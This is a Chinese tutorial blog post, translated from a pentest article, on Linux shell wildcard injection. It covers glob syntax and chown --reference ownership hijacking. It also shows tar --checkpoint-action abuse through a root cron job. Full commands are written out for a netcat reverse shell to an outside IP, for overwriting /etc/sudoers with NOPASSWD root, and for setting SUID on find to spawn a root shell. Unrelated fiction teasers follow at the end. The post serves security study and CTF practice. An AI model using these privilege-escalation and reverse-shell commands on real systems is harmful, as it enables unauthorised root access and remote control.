命令执行之Linux Shell中的通配符注入

通配符注入(Wildcard Injection)是一有趣的老式Unix黑客技术。
个人感觉,就是用“特殊的文件名”来辅助执行命令。

通配符

字符 含义 实例
* 匹配 0 或多个字符 a*b a与b之间可以有任意长度的任意字符, 也可以一个也没有, 如aabcb, axyzb, a012b, ab
? 匹配任意一个字符 a?b a与b之间必须也只能有一个字符, 可以是任意字符, 如aab, abb, acb, a0b
[list] 匹配list中的任意单一字符 a[xyz]b a与b之间必须也只能有一个字符, 但只能是 x 或 y 或 z, 如: axb, ayb, azb。
[^list] 匹配除list中的任意单一字符 a[^0-9]b a与b之间必须也只能有一个字符, 但不能是阿拉伯数字, 如axb, aab, a-b。
[c1-c2] 匹配c1-c2中的任意单一字符如:[0-9] [a-z] a[0-9]b 0与9之间必须也只能有一个字符,如a0b, a1b... a9b。
{string1,string2,...} 匹配sring1或string2(或更多)其中一字符串 a{abc,xyz,123}b a与b之间只能是abc或xyz或123这三个字符串之一。

[]的特殊例子

[]:匹配范围
[^]:排除匹配范围
[:alnum:]:所有字母和数字
[:alpha:]:所有字母
[:digit:]:所有数字
[:lower:]:所有小写字母
[:upper:]:所有大写字母
[:blank:]:空白字符和TAB制表符
[:space:]:包括空白字符、TAB制表符(\t)、换页(\f)
[:cntrl:]:所有控制字符
[:graph:]:可打印并可看到的字符。空格是可打印的,但是不是可看到的。
[:print:]:所有可打印字符
[:punct:]:所有标点符号,非字母、数字、控制字符和space字符。
[:xdigit:]:十六进制数的字符。

特殊变量
IFS 分隔符,<space><tab><enter>三者之一组成(我们常用space)。
CR 由<enter>产生。

简单的实例1

首先建立3个文件,各自写入了一行内容

cd /Desktop
mkdir wild
cd wild
echo "Hello Friends" > file1
echo "This is Wildcard Injection" > file2
echo "take help" > --help

之后用cat命令查看这些文件

cat file1
cat file 2
cat --help

前两个是不会有异常的,但是在尝试读取--help这个文件的时候,显示的不是take help,而是从自己的库中调用自己的-help选项,这种类型的技巧称为Wildcard wildness

通过Chown劫持文件所有者

利用chown命令可以改变文件的所有者,一般用户没有普通权限更改别人文件的所有者,除了root。

超级管理员用户 (root) – 执行chown命令。
非root用户1(raj) – 执行普通任务,如创建文件
非root用户2(aarti) – 执行普通任务,如创建文件
恶意用户(Ignite) – 注入chown命令
在下图中你可以看到,所有PHP文件的所有者均为raj用户。

chown有个参数--reference,作用如下,
With --reference, change the owner and group of each FILE to those of RFILE.“克隆”参考文件的权限到你指定的文件或目录上。

cd
ls -al
echo "" > my.php
echo > --reference=my.php

当root用户使用通配符*修改所有PHP文件所有权时,ignite用户将取得所有文件间接所有权。

chown -R aarti:aarti *.php
ls -al

tar命令的利用

创建一些文件,然后用crontab命令定时备份

nano /etc/crontab
*/1 *   * * *   root tar -zcf /var/backups/html.tgz /var/www/html/*

crontab和tar通配符注入

假设现在以一个普通用户的身份登陆终端,尝试提权到root。然后cat /etc/crontab查看计划任务。

本机用msfvenom生成一个netcat反弹语句
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.102 lport=8888 R
然后复制到ssh中,cd到要打包的目录中

echo "mkfifo /tmp/lhennp; nc 192.168.1.102 8888 0</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1

可以先执行tar cf archive.tar *看看触发的效果,crontab中的tar是root权限运行的,所以就等着反弹root会话吧。

--checkpoint[=NUM​​BER] (翻译起来绕口) 按百分几显示处理进度?
--checkpoint-action = ACTION 在每个检查点上执行指定的操作

有错误的第二个例子

原作者是这样子的

cd /tmp
mkdir data
chmod 777 data
cd data
echo "" > f1
echo "" > f2
echo "" > f3

在其他目录中编写一个bash脚本,tar打包/tmp/data

mkdir info
cd info
nano script.sh
chmod 777 script.sh

注意,这个shell的内容是这样的

#!/bin/bash
cd /tmp/data
tar cf /backup/backup.tgz *

手动执行这个脚本就会发现,根本不会自动切换到/tmp/data目录。

这是因为shell在执行脚本时,会创建一个子shell,并在子shell中逐个执行脚本中的指令。 在子shell中已经切换了目录了,但是子shell一旦执行完,马上退出,子shell中的变量和操作全部都收回。回到终端根本就看不到这个过程的变化

解决办法

执行source c.sh,这时候就是直接在终端的shell执行脚本了,没有生成子shell,执行的结果就是输出历史命令,并且切换了目录。
每次都要输入source是一件烦琐的事情,其实source命令又叫点命令,所以执行. ./c.sh是一样的效果,注意:.和.中间有个空格!

tar+crontab+sudoers

就是用crontab改了sudoers文件的内容

echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.sh
echo "" > "--checkpoint-action=exec=sh demo.sh"
echo "" > --checkpoint=1
tar cf archive.tar *

tar+crontab+suid

图略,就是用crontab改变文件的suid实现提权

echo "chmod u+s /usr/bin/find" > test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
ls -al /usr/bin/find
find f1 -exec "whoami" \;
root
find f1 -exec "/bin/sh" \;
id
whoami

在ctf中的利用

看完上面的通配符注入,再看看这个,p神博客写的无字母数字webshell之提高篇

觉得看不够的话还可以接着看下面这两个

【CTF 攻略】如何绕过四个字符限制getshell
https://www.anquanke.com/post/id/87203
命令注入突破长度限制
https://www.freebuf.com/articles/web/154453.html

注意,代码不能随便乱插,否则就被审核了
原文:https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,937评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,503评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,712评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,668评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,677评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,601评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,975评论 3 396
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,637评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,881评论 1 298
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,621评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,710评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,387评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,971评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,947评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,189评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,805评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,449评论 2 342